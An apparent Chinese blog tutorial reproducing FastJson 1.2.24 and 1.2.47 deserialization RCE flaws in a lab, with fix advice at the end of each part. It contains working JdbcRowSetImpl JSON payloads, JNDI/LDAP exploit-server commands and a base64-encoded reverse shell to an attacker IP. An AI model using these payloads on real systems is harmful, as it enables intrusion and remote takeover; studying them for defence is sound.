文章目录
- [FastJson 漏洞复现](#FastJson 漏洞复现)
-
- [1. FastJson 1.2.24 反序列化导致任意命令执行漏洞](#1. FastJson 1.2.24 反序列化导致任意命令执行漏洞)
-
- [1.1 漏洞描述](#1.1 漏洞描述)
- [1.2 漏洞原理](#1.2 漏洞原理)
- [1.3 漏洞复现](#1.3 漏洞复现)
-
- [1.3.1 环境启动](#1.3.1 环境启动)
- [1.3.2 漏洞检测](#1.3.2 漏洞检测)
- [1.3.3 漏洞验证](#1.3.3 漏洞验证)
- [1.4 漏洞利用](#1.4 漏洞利用)
- [1.5 修复方案](#1.5 修复方案)
- [2. Fastjson 1.2.47 远程命令执行漏洞](#2. Fastjson 1.2.47 远程命令执行漏洞)
-
- [2.1 漏洞描述](#2.1 漏洞描述)
- [2.2 漏洞复现](#2.2 漏洞复现)
-
- [2.2.1 环境启动](#2.2.1 环境启动)
- [2.2.2 漏洞检测](#2.2.2 漏洞检测)
- [2.2.3 漏洞验证](#2.2.3 漏洞验证)
- [2.3 漏洞利用](#2.3 漏洞利用)
- [2.4 修复方案](#2.4 修复方案)
FastJson 漏洞复现
1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
链接地址:Fastjson 1.2.24 反序列化导致任意命令执行漏洞。
1.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-18349 |
漏洞名称 | fastjson 1.2.24 反序列化导致任意命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.24 |
漏洞描述 | fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
1.2 漏洞原理
攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。
存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。
rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机执行了恶意代码,被攻击者成功利用。
1.3 漏洞复现
1.3.1 环境启动
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出。
使用bp抓取数据包
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
先转换为POST请求
然后发送一个JSON数据
json
{"name":"wuhu", "age":20}
如果直接发送会报500错误,需要将Content-Type类型修改为JSON格式
重新放包即可。
这里就是提交一个JSON格式的数据到服务器后转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。
- JSON-->Object-->JSON
1.3.2 漏洞检测
可以使用BurpSuite扩展:Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)。
sh
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
下载成功后,在BP中添加插件即可。
然后将数据包发送到插件
正在扫描
扫描成功,发现漏洞,然后会生成一个POC。
将生成的POC拷贝到我们之前抓取的数据包中。
json
{
"handsome":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa",
"autoCommit":true
}
}
RMI概述:Java RMI(Java Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网络上的不同计算机中。
在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化。因此,可以将RMI服务作为进行反序列化利用链的触发点。
1.3.3 漏洞验证
使用JNDI-Injection-Exploit工具,链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)。
开启RMI服务器
使用方法:
sh
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
1.4 漏洞利用
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
sh
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
kali监听9999端口
复制到指定位置,然后放包即可
ldap://192.168.188.185:1389/1cmhtr
监听成功
1.5 修复方案
修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞,并提供了补丁程序或更新版本。因此,建议立即更新 Fastjson 到最新修复版本,以确保应用程序不再受到此漏洞的影响。此外,还应采取其他防护措施,如输入验证、过滤和限制反序列化能力,以提高应用程序的安全性。
2. Fastjson 1.2.47 远程命令执行漏洞
链接地址:Fastjson 1.2.47 远程命令执行漏洞。
2.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | |
漏洞名称 | Fastjson 1.2.47 远程命令执行漏洞 |
漏洞评级 | 高危 |
影响范围 | 1.2.47以及之前的所有版本 |
漏洞描述 | Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 |
修复方案 | 打补丁,上设备,升级组件 |
具体描述
Fastjson提供了autotype功能,允许用户在反序列化数据中通过"@type"指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的"Gadget"),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
2.2 漏洞复现
2.2.1 环境启动
环境启动后,访问http://your-ip:8090
即可看到一个json对象被返回
使用bp抓取数据包
将content-type修改为application/json
后可向其POST新的JSON对象,后端会利用fastjson进行解析。
2.2.2 漏洞检测
将生成POC拷贝到抓取的数据包中。
json
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
"autoCommit":true
}
}
2.2.3 漏洞验证
开启RMI服务器
使用方法:
sh
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/wuhu" -A "192.168.188.185"
使用JDK 1.8中的ldap
json
ldap://192.168.188.185:1389/asdqfh
查看tmp目录下是否有我们创建的wuhu文件。
通过查看后发现文件创建成功,证明漏洞存在。
2.3 漏洞利用
构造反弹Shell命令
sh
bash -i >& /dev/tcp/192.168.188.185/8888 0>&1 # 将该命令做一个base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
开启服务器,将之前构造的反弹Shell在 -C
后面的参数进行替换即可。
sh
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.188.185"
同时kail监听8888端口
将ldap复制到指定位置,然后放包即可
json
ldap://192.168.188.185:1389/wslvmi
反弹成功
2.4 修复方案
- 升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
- WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形
- 最少升级到1.2.48以上版本且关闭autotype选项